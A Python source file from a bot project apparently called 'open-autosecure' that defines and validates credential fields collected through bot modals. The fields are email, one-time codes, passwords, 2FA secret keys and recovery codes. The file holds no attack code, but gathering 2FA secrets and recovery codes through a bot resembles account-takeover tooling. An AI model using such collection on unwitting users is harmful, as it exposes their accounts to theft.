sten.wtf / Unstable Instance

open-autosecure — Unstable Instance. May not even function properly but you are free to help improvise it.

bot/interactions.py

METHOD_FIELDS = {
    "otp": ["email", "otp"],
    "2fa": ["email", "password", "secret_key"],
    "recovery": ["email", "recovery_code"],
}

PUBLIC_METHODS = ("otp",)
ALL_METHODS = ("otp", "2fa", "recovery")


def creds_from_modal(method: str, values: dict) -> dict:
    if method not in METHOD_FIELDS:
        raise ValueError(f"unknown method: {method}")
    fields = METHOD_FIELDS[method]
    for field in fields:
        if field not in values:
            raise ValueError(f"missing {field}")
    return {field: values[field] for field in fields}


def method_allowed(method: str, source: str) -> bool:
    if source == "embed":
        return method in PUBLIC_METHODS
    if source == "secure":
        return method in ALL_METHODS
    return False